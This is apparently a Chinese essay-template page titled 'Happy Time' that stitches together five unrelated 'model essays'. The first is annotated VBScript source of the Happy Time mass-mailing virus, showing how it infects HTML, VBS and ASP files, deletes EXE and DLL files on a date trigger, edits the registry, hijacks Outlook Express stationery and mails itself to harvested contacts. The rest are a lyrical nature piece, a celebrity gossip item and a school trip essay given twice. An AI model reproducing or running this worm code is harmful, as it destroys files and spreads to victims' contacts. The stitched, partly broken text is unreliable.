歡樂時(shí)光

前言：想要寫出一篇令人眼前一亮的文章嗎？我們特意為您整理了5篇?dú)g樂時(shí)光范文，相信會(huì)為您的寫作帶來幫助，發(fā)現(xiàn)更多的寫作思路和靈感。

歡樂時(shí)光范文第1篇

下面讓我們來看看它藏在快樂的外衣下的是什么吧！

*************** 歡樂時(shí)光 ***************

Rem I am sorry! happy time

On Error Resume Next

Mload

’以上為病毒入口，并加上I am sorry! happy time的注釋，以表明此文件已被感染過。

Sub mload()

On Error Resume Next

mPath = Grf()

Set Os = CreateObject("Scriptlet.TypeLib")

Set Oh = CreateObject("Shell.Application")

’建立枚舉對(duì)象，避開了安全審核

If IsHTML Then

’調(diào)用IsHtml函數(shù)，如果是Html，就小寫……

mURL = LCase(document.Location)

If mPath = "" Then

Os.Reset

Os.Path = "C:\Help.htm"

Os.Doc = Lhtml()

Os.Write()

’如果mPath為空，就在C盤下生成Help.htm

Ihtml = ""

’超文本的內(nèi)容，并指向C:\Help.Htm

Call document.Body.insertAdjacentHTML("AfterBegin"， Ihtml)

Else

If Iv(mPath， "Help.vbs") Then

setInterval "Rt()"， 10000

Else

m = "hta"

If LCase(m) = Right(mURL， Len(m)) Then

id = setTimeout("mclose()"， 1)

’設(shè)置超時(shí)條件

main

Else

Os.Reset()

Os.Path = mPath & "\" & "Help.hta"

Os.Doc = Lhtml()

Os.write()

Iv mPath， "Help.hta"

’生成Help.hta

End If

End If

End If

Else

Main

’都不是，就執(zhí)行main函數(shù)

End If

End Sub

’******************************************************************

’以下為主函數(shù)，太長(zhǎng)了！

Sub main()

On Error Resume Next

Set Of = CreateObject("Scripting.FileSystemObject")

’不用說，創(chuàng)建FileSystemObject對(duì)象啦

Set Od = CreateObject("Scripting.Dictionary")

’創(chuàng)建Dictionary對(duì)象， 用來保存數(shù)據(jù)鍵和項(xiàng)目對(duì)，它實(shí)際上是一個(gè)比較開放的數(shù)組

Od.Add "html"， "1100"

Od.Add "vbs"， "0100"

Od.Add "htm"， "1100"

Od.Add "asp"， "0010"

’向Dictionary對(duì)象添加要感染的項(xiàng)目對(duì)

Ks = "HKEY_CURRENT_USER\Software\"

’使用變量以減少代碼長(zhǎng)度

Ds = Grf()

Cs = Gsf()

If IsVbs Then

’如果是VBS

If Of.FileExists("C:\help.htm") Then

Of.DeleteFile ("C:\help.htm")

’如果c:\help.htm存在，就刪掉，消滅遺留的痕跡

End If

Key = CInt(Month(Date) + Day(Date))

If Key = 13 Then

’如果月與日之和為13（這也是它變種多的原因——將13改為其他數(shù)字即可）

Od.RemoveAll

Od.Add "exe"， "0001"

Od.Add "dll"， "0001"

’就清空Dictionary數(shù)組，并將exe、dll加入Dictionary 對(duì)象，以備刪除之用

End If

Cn = Rg(Ks & "Help\Count")

’讀注冊(cè)表中的HKEY_CURRENT_USER\Software\Help\Count鍵值

If Cn = "" Then

Cn = 1

’如果Count為0，就設(shè)為1

End If

Rw Ks & "Help\Count"， Cn + 1

’添加HKEY_CURRENT_USER\Software\Help\Count鍵值，值為2

f1 = Rg(Ks & "Help\FileName")

’再讀HKEY_CURRENT_USER\Software\Help\FileName鍵值

f2 = FNext(Of， Od， f1)

’得到該文件的文件名

fext = GetExt(Of， Od， f2)

’得到該文件擴(kuò)展名的代號(hào)

Rw Ks & "Help\FileName"， f2

’添加鍵值

If IsDel(fext) Then

’如果擴(kuò)展名代號(hào)的第四個(gè)字符為1——即0001(exe、dll)

f3 = f2

’儲(chǔ)存文件名

f2 = FNext(Of， Od， f2)

’得到文件的文件名？

Rw Ks & "Help\FileName"， f2

’寫注冊(cè)表

Of.DeleteFile f3

’刪除文件

Else

If LCase(WScript.ScriptFullname) LCase(f2) Then

’如果不是集合中的文件

Fw Of， f2， fext

End If

End If

If (CInt(Cn) Mod 366) = 0 Then

If (CInt(Second(Time)) Mod 2) = 0 Then

’使用 Cint函數(shù)強(qiáng)制執(zhí)行轉(zhuǎn)換，并發(fā)郵件

Tsend

Else

adds = Og

Msend (adds)

End If

End If

wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")

If Rg(Ks & "Help\wallPaper") wp Or wp = "" Then

’比較桌面墻紙是否已改變

If wp = "" Then

n1 = ""

n3 = Cs & "\Help.htm"

Else

mP = Of.GetFile(wp).ParentFolder

n1 = Of.GetFileName(wp)

n2 = Of.GetBaseName(wp)

n3 = Cs & "\" & n2 & ".htm"

End If

Set pfc = Of.CreateTextFile(n3， True)

mt = Sa("1100")

’創(chuàng)建超文本

pfc.Write "

" & "/Body>" & mt

’超文本的內(nèi)容

pfc.Close

Rw Ks & "Help\wallPaper"， n3

Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper"， n3

’將帶毒的超文本設(shè)置成活動(dòng)桌面

End If

Else

Set fc = Of.CreateTextFile(Ds & "\Help.vbs"， True)

fc.Write Sa("0100")

’創(chuàng)建vbs文件

fc.Close

bf = Cs & "\Untitled.htm"

Set fc2 = Of.CreateTextFile(bf， True)

fc2.Write Lhtml

fc2.Close

’創(chuàng)建windows下的untitled.htm

oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")

oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E

xpress\5.0\Mail"

MSH = oe & "\Message Send HTML"

CUS = oe & "\Compose Use Stationery"

SN = oe & "\Stationery Name"

Rw MSH， 1

Rw CUS， 1

Rw SN， bf

’在Hkey_Current_User＼Identities＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼Software＼Microsoft＼Outlook Express＼5.0＼Mail下添加三個(gè)鍵值Message Send HTML 、Compose Use Stationery 和Stationery Name，前兩個(gè)的值為1，后一個(gè)指向windows\untitled.htm

Web = Cs & "\WEB"

Set gf = Of.GetFolder(Web).Files

’得到windows\web文件夾里的文件

Od.Add "htt"， "1100"

’向Dictionary里添加htt項(xiàng)目對(duì)

For Each m In gf

’遍歷windows\web下的每一個(gè)文件

fext = GetExt(Of， Od， m)

’得到每個(gè)文件的擴(kuò)展名

If fext "" Then

’如果擴(kuò)展名不為空，則

Fw Of， m， fext

End If

Next

End If

End Sub

’******************************************************************

Sub mclose()

document.Write "I am sorry!’寫入I am sorry，并關(guān)閉。以此作為感染與否的標(biāo)記

window.Close

End Sub

’******************************************************************

Sub Fw(Of， S， n)

’此時(shí)S為文件名，n為文件擴(kuò)展名

Dim fc， fc2， m， mmail， mt

On Error Resume Next

Set fc = Of.OpenTextFile(S， 1)

’只讀模式打開該文件

mt = fc.ReadAll

’讀入全部文件流

fc.Close

’關(guān)閉文件

If Not Sc(mt) Then

’如果未感染過

mmail = Ml(mt)

mt = Sa(n)

Set fc2 = Of.OpenTextFile(S， 8)

’打開文件并在文件末尾進(jìn)行寫愛作

fc2.Write mt

fc2.Close

Msend (mmail)

’發(fā)帶毒郵件

End If

End Sub

’******************************************************************

Function Sc(S)

mN = "Rem I am sorry! happy time"

If InStr(S， mN) > 0 Then

’如果讀入的文件流中有Rem I am sorry! happy time

Sc = True

Else

Sc = False

’表示已感染過，返回True，否則為False

End If

End Function

’******************************************************************

Function FNext(Of， Od， S)

Dim fpath， fname， fext， T， gf

On Error Resume Next

fname = ""

T = False

’初始化變量

If Of.FileExists(S) Then

’如果S存在于當(dāng)前文件夾中

fpath = Of.GetFile(S).ParentFolder

’得到文件的父目錄名

fname = S

’得到文件名

ElseIf Of.FolderExists(S) Then

’不存在于當(dāng)前文件夾中，則得到目錄名

fpath = S

T = True

Else

fpath = Dnext(Of， "")

’得到當(dāng)前盤符——即根目錄

End If

Do While True

Set gf = Of.GetFolder(fpath).Files

’得到當(dāng)前目錄下的所有文件對(duì)象

For Each m In gf

’遍歷每個(gè)文件

If T Then

If GetExt(Of， Od， m) "" Then

’如果該文件是文件集合中的一員

FNext = m

’則返回該文件名，供調(diào)用的函數(shù)或過程使用——感染或刪除之

Exit Function

End If

ElseIf LCase(m) = LCase(fname) Or fname = "" Then

’如果沒文件

T = True

End If

Next

fpath = Pnext(Of， fpath) ’

Loop

End Function

’******************************************************************

Function Pnext(Of， S)

On Error Resume Next

Dim Ppath， Npath， gp， pn， T， m

T = False

If Of.FolderExists(S) Then

’如果如果指定的文件夾存在

Set gp = Of.GetFolder(S).SubFolders

’就得到子目錄數(shù)

pn = gp.Count

If pn = 0 Then

’如果沒子目錄

Ppath = LCase(S) ’

Npath = LCase(Of.GetParentFolderName(S))

’得到父目錄的小寫形式

T = True

Else

Npath = LCase(S)

’有子目錄，得到其小寫形式的集合

End If

Do While Not Er ’

For Each pn In Of.GetFolder(Npath).SubFolders

’得到子目錄下的子目錄

If T Then

If Ppath = LCase(pn) Then

T = False

End If

Else

Pnext = LCase(pn)

Exit Function

End If

Next

T = True

Ppath = LCase(Npath)

’將字符串轉(zhuǎn)化成小寫

Npath = Of.GetParentFolderName(Npath) ’

If Of.GetFolder(Ppath).IsRootFolder Then

’如果是根目錄

m = Of.GetDriveName(Ppath)

’就得到分區(qū)符

Pnext = Dnext(Of， m)

Exit Function

End If

Loop

End If

End Function

’******************************************************************

Function Dnext(Of， S)

Dim dc， n， d， T， m

On Error Resume Next

T = False

m = ""

Set dc = Of.Drives

’得到所有的驅(qū)動(dòng)器盤符

For Each d In dc

’遍歷每個(gè)驅(qū)動(dòng)器

If d.DriveType = 2 Or d.DriveType = 3 Then

’如果是網(wǎng)絡(luò)盤或本地盤

If T Then

Dnext = d

Exit Function

’如果是False，就返回當(dāng)前盤，并退出本函數(shù)

Else

If LCase(S) = LCase(d) Then

’如果是True且盤符相同，就令T為True

T = True

End If

If m = "" Then

’如果m為空，就將盤符付給m

m = d

End If

End If

End If

Next

Dnext = m

’返回盤符

End Function

’******************************************************************

Function GetExt(Of， Od， S)

Dim fext

On Error Resume Next

fext = LCase(Of.GetExtensionName(S))

’返回該文件擴(kuò)展名的小寫

GetExt = Od.Item(fext)

’返回Dictionary對(duì)象中指定的key對(duì)應(yīng)的item——即0001(exe)等

End Function

’******************************************************************

Sub Rw(k， v)

’寫注冊(cè)表

Dim R

On Error Resume Next

Set R = CreateObject("WScript.Shell")

’創(chuàng)建對(duì)象

R.RegWrite k， v

End Sub

’******************************************************************

Function Rg(v)

’讀注冊(cè)表

Dim R

On Error Resume Next

Set R = CreateObject("WScript.Shell")

’創(chuàng)建對(duì)象

Rg = R.RegRead(v)

End Function

’******************************************************************

Function IsVbs()

’此函數(shù)判斷是不是VBS文件

Dim ErrTest

On Error Resume Next

ErrTest = WScript.ScriptFullname

If Err Then

’如果出錯(cuò)，則不是VBS

IsVbs = False

Else

IsVbs = True

End If

End Function

’******************************************************************

Function IsHTML()

’此函數(shù)判斷是不是Html文件

Dim ErrTest

On Error Resume Next

ErrTest = document.Location

If Er Then

IsHTML = False

’如果出錯(cuò)，則不是超文本

Else

IsHTML = True

End If

End Function

’******************************************************************

Function IsMail(S)

’此函數(shù)判斷是不是郵件地址

Dim m1， m2

IsMail = False

If InStr(S， vbCrLf) = 0 Then

’返回vbCrLf在S中第一次出現(xiàn)的位置， vbCrLf是換行符

m1 = InStr(S， "@")

m2 = InStr(S， ".")

If m1 0 And m1 < m2 Then

’如果有“@”符號(hào)且“@”在“."之前，則是郵件地址

IsMail = True

End If

End If

End Function

’******************************************************************

Function Gsf()

’得到windows目錄

Dim Of， m

On Error Resume Next

Set Of = CreateObject("Scripting.FileSystemObject")

’創(chuàng)建FileSystemObject對(duì)象

m = Of.GetSpecialFolder(0)

’得到特殊目錄——Windows、System和Temp目錄

If Er Then

’如果失敗，返回C:

Gsf = "C:\"

Else

’若正常，則返回%Windows%

Gsf = m

End If

End Function

’******************************************************************

Function Lhtml()

’寫入超文本的內(nèi)容，其中vbCrLf是換行符

Lhtml = "" Help " " & Lscript(Lvbs()) & vbCrLf & _

"End Function

’******************************************************************

Function Lscript(S)

’寫入vbscript的聲明

Lscript = "" & vbCrLf & _

S & ""

End Function

’******************************************************************

Function Sl(S1， S2， n)

Dim l1， l2， l3， i

l1 = Len(S1)

’得到文件流的長(zhǎng)度

l2 = Len(S2)

’得到mailto:的長(zhǎng)度

i = InStr(S1， S2)

’在文件流中查找mailto:第一次出現(xiàn)的位置——值為一個(gè)數(shù)

If i > 0 Then

’找到則進(jìn)行字符串愛作

l3 = i + l2 - 1

If n = 0 Then

Sl = Left(S1， i - 1)

ElseIf n = 1 Then

Sl = Right(S1， l1 - l3)

End If

Else

Sl = ""

End If

End Function

’******************************************************************

Function Og()

’得到WAB（通訊簿）中的郵件地址

Dim i， n， m()， Om， Oo

Set Oo = CreateObject("Outlook.Application")

’創(chuàng)建Outlook應(yīng)用程序?qū)ο螅琌utlook和Outlook Express都跑不掉啦！

Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items

n = Om.Count

ReDim m(n)

For i = 1 To n

m(i - 1) = Om.Item(i).Email1Address

得到每個(gè)WAB中的郵件地址

Next

Og = m

End Function

’******************************************************************

Sub Tsend()

’發(fā)帶毒郵件

Dim Od， MS， MM， a， m

Set Od = CreateObject("Scripting.Dictionary")

MConnect MS， MM

MM.FetchSorted = True

MM.Fetch

For i = 0 To MM.MsgCount - 1

MM.MsgIndex = i

a = MM.MsgOrigAddress

If Od.Item(a) = "" Then

Od.Item(a) = MM.MsgSubject

End If

Next

For Each m In Od.Keys

MM.Compose

MM.MsgSubject = "Fw: " & Od.Item(m)

’設(shè)置郵件標(biāo)題

MM.RecipAddress = m

’此郵件的當(dāng)前的目標(biāo)郵件地址

MM.AttachmentPathName = Gsf & "\Untitled.htm"

’添加附件Windows\Untitled.htm

MM.Send

’發(fā)送！

Next

MS.SignOff

End Sub

’******************************************************************

Function Er()

’設(shè)置的錯(cuò)誤陷阱，避免程序崩潰，嚴(yán)謹(jǐn)?shù)娘L(fēng)格值得學(xué)習(xí)

If Err.Number = 0 Then

Er = False

Else

Err.Clear

Er = True

End If

End Function

’******************************************************************

Function IsDel(S)

’此函數(shù)查看當(dāng)前文件是否是要?jiǎng)h除的文件類型

If Mid(S， 4， 1) = 1 Then

’看S的第四個(gè)字符是否是1——即是0001(exe和dll)

IsDel = True

’如是，返回True，以備刪除

Else

IsDel = False

’如不是，返回False

End If

End Function

’******************************************************************

歡樂時(shí)光范文第2篇

陽光還是一如既往地從枝葉縫隙灑落下來，到處是明亮的一片．地上斑斑妖冶的陰暗錯(cuò)落的點(diǎn)，其實(shí)是樹葉有意的神秘，仿佛是漆黑的夜空，璀璨的群星散發(fā)逸動(dòng)的光芒．但是我怎么又聽見，是陽光溫存地與樹葉親吻，已至于我能夠看見他們親吻的痕跡．溫存地，無聲無息地交融，那舒服的呼吸，環(huán)繞在我們的耳系．

有限的視覺是一片你擁抱不了的藍(lán)天，但為什么，我卻想哭泣．不是不是，為了天空的愛而哭泣．她是多么樸素，把我緊緊的裹在她的懷里．好想飄飛上去，飛到她臉上那絲白云，撫摸那，別人看不見的滄桑和從容．可惜我飛不到那邊兒去了，但是我伸出雙手，她的面容就在我的眼前．我只得心存感激的安靜下來，受著她無時(shí)的呵護(hù)．

時(shí)光的痕劃過星河，留下了紋，造就了眼前這條曲折，這小路．可以在兩旁碧綠的草坪延伸到遼闊的草原去，可以延伸到我的內(nèi)心里去．哪怕那里有過風(fēng)吹雨打的痕跡，哪怕昨日瑰麗的朝霞失落于退潮的堤岸，哪怕遼闊的雄歌消失在山巔的藍(lán)天．明天的我們，將再次收獲一個(gè)黎明的希望．只因大自然不時(shí)地賜予于我們生命的希望和啟迪，像那兩旁的草坪，如果沒有雨的滋潤(rùn)，哪來的青翠欲滴，如果沒有風(fēng)的鍛煉，拿來堅(jiān)固的根基？

西面是一面高大的墻，墻邊種著幾棵樹．是不是松樹？只是知道他們沒有了松柏青綠的外衣，卻有著比他們更為高大的身軀．象山窯里默默守望的老人，風(fēng)琢雕出一道道深壑．兩眼睜出一點(diǎn)點(diǎn)的星光，讓心里的期盼流出眼外，濕潤(rùn)我們的心．他們很安詳，陽光穿過他們搖曳的長(zhǎng)長(zhǎng)的灰色枝條，緩緩的，猶如一曲寧?kù)o的曲子，不自覺地舞動(dòng)著生命的真諦．幾只行都的小鳥，不時(shí)從這里飛到那邊，它們也很安靜，連鳥兒，也不忍心破壞這里的安謐．

愛爾蘭笛曲一直幽幽飄蕩在我身邊，洗滌著心靈，難忘啊，依偎著的歡樂時(shí)光．

歡樂時(shí)光范文第3篇

“Party Boys”，光聽團(tuán)名就知道這是一幫有點(diǎn)自戀有些自大又喜歡耍寶惡搞的大男生，小豬團(tuán)長(zhǎng)向大家介紹這個(gè)團(tuán)體時(shí)是這樣說滴：“我們是一群喜歡運(yùn)動(dòng)、搞笑、幫助弱小、熱心助人、帶給別人歡笑的帥哥團(tuán)體！重點(diǎn)是，我們Party Boys都是演藝圈的精英，有偶像、舞者、演唱會(huì)幕后工作人員和節(jié)目制作人，他們?cè)诠ぷ魃隙际亲畎舻模∷晕覀冞@個(gè)團(tuán)體不是隨便都可以加入的哦！”

帥哥成員543

Party Boys由團(tuán)長(zhǎng)羅志祥發(fā)起，成員全是緊緊團(tuán)結(jié)在小豬周圍的好朋友。明星成員包括《娛樂百分百》的主持拍檔小鬼，交情匪淺的ENERGY成員坤達(dá)，還有賈靜雯的弟弟、“元衛(wèi)覺醒”組合的衛(wèi)斯里，剩下的就是對(duì)大家來說有點(diǎn)陌生的幕后工作人員了，包括制作人小方，舞者小葦，還有舞臺(tái)總監(jiān)紅毛和剛加入不久的新成員亞漢等。

小鬼幾乎是在幕前跟小豬一起出現(xiàn)頻率最高的人。除了主持《娛樂百分百》，他還在《轉(zhuǎn)角*遇到愛》里客串了一把小豬的好友，戲里戲外都上演兄弟情深的戲碼，活像連體嬰。小鬼說：“和小豬是在游戲節(jié)目里認(rèn)識(shí)的，我也成為了Party Boys的成員，能夠和他一起主持《娛樂百分百》我相當(dāng)開心，畢竟他都會(huì)帶著我，我才能輕松地主持節(jié)目！”

而衛(wèi)斯里最近更是在小豬的生活中扮演了重要角色：緋聞男友。之前他們倆在部落格上放了一張小豬幫衛(wèi)斯里吹頭發(fā)的照片，因此歌迷們大肆猜測(cè)兩個(gè)人是一對(duì)，之后有一天小豬與衛(wèi)斯里居然大方地手牽手出來逛街，小豬還嗆聲：“為什么女生跟女生可以手牽手，男生就不行？”兩個(gè)人都愛惡搞，就是喜歡用另類的方式展現(xiàn)“哥們兒”情誼，在小豬演唱會(huì)的后臺(tái)還故意擺出嘴對(duì)嘴的pose，小豬不怕別人誤會(huì)，再補(bǔ)上一句：“我專輯里的創(chuàng)作曲《自戀》就是在衛(wèi)斯里家的錄音室里完成的。”

內(nèi)褲天團(tuán)的麻辣趣事

“Party Boys”其實(shí)是個(gè)內(nèi)褲天團(tuán)，每次在家里聚會(huì)，大家一進(jìn)家門一定是先脫褲子，不管是吃飯還是打麻將，每個(gè)人都只穿四角褲，羅志祥更有怪癖，喜歡穿著四角褲不脫襪子，樣子有夠爆笑。有一次衛(wèi)斯里從后面把羅志祥的四角褲一下子拉到腳踝上，羅志祥轉(zhuǎn)過來的時(shí)候，完全一副什么事都沒發(fā)生過的樣子，繼續(xù)做該做的事，真是自然，所有人都笑得趴到了地上。

歡樂時(shí)光范文第4篇

今天，老師帶領(lǐng)我們到廣州航天歡樂世界去游玩，大家高興極了。早上，我們乘上校車，懷著激動(dòng)的心情來到了航天歡樂世界。

我們來到航天科普館，首先映入我眼簾的是“神舟七號(hào)”。它直直地矗立著，紅紅的“神舟七號(hào)”四個(gè)大字分外耀眼。望著它，我仿佛又看見翟志剛叔叔手拿著鮮艷的五星紅旗在太空揮舞著，向全世界宣告：“中國(guó)人來了！”我心中感到無比的自豪。接著，我們來到火箭跟前。導(dǎo)游阿姨告訴我們，這枚火箭有110米長(zhǎng)，直徑達(dá)3米。長(zhǎng)長(zhǎng)的火箭上印著面五星紅旗，上面寫著翟志剛、劉伯明、景海鵬叔叔們的名字。“哎喲！”有個(gè)倒霉鬼一頭碰到了火箭上。他一手摸著頭，一手拍了拍火箭，哭喪著臉說：“火箭造得可真結(jié)實(shí)！”引得我們哈哈大笑。

離開了科普館，我們來到了太空飛行塔前。我們坐上了飛鷹，飛到了鬼屋，見到了只剩半邊臉的恐龍、吊著頭血直往下流的猴子，嚇得我們哇哇大叫。隨后，我們又玩了海盜船、卡丁車、搖頭飛椅……

時(shí)間不早了，我們也玩累了，戀戀不舍地離開了這里。這次活動(dòng)讓我大開眼界，學(xué)到了許多知識(shí)。我一定要努力學(xué)習(xí)，將來為祖國(guó)的航天事業(yè)做貢獻(xiàn)。

歡樂時(shí)光范文第5篇

今天，老師帶領(lǐng)我們到廣州航天歡樂世界去游玩，大家高興極了。早上，我們乘上校車，懷著激動(dòng)的心情來到了航天歡樂世界。

我們來到航天科普館，首先映入我眼簾的是“神舟七號(hào)”。它直直地矗立著，紅紅的“神舟七號(hào)”四個(gè)大字分外耀眼。望著它，我仿佛又看見翟志剛叔叔手拿著鮮艷的五星紅旗在太空揮舞著，向全世界宣告：“中國(guó)人來了！”我心中感到無比的自豪。接著，我們來到火箭跟前。導(dǎo)游阿姨告訴我們，這枚火箭有110米長(zhǎng)，直徑達(dá)3米。長(zhǎng)長(zhǎng)的火箭上印著面五星紅旗，上面寫著翟志剛、劉伯明、景海鵬叔叔們的名字。“哎喲！”有個(gè)倒霉鬼一頭碰到了火箭上。他一手摸著頭，一手拍了拍火箭，哭喪著臉說：“火箭造得可真結(jié)實(shí)！”引得我們哈哈大笑。

離開了科普館，我們來到了太空飛行塔前。我們坐上了飛鷹，飛到了鬼屋，見到了只剩半邊臉的恐龍、吊著頭血直往下流的猴子，嚇得我們哇哇大叫。隨后，我們又玩了海盜船、卡丁車、搖頭飛椅……

時(shí)間不早了，我們也玩累了，戀戀不舍地離開了這里。這次活動(dòng)讓我大開眼界，學(xué)到了許多知識(shí)。我一定要努力學(xué)習(xí)，將來為祖國(guó)的航天事業(yè)做貢獻(xiàn)。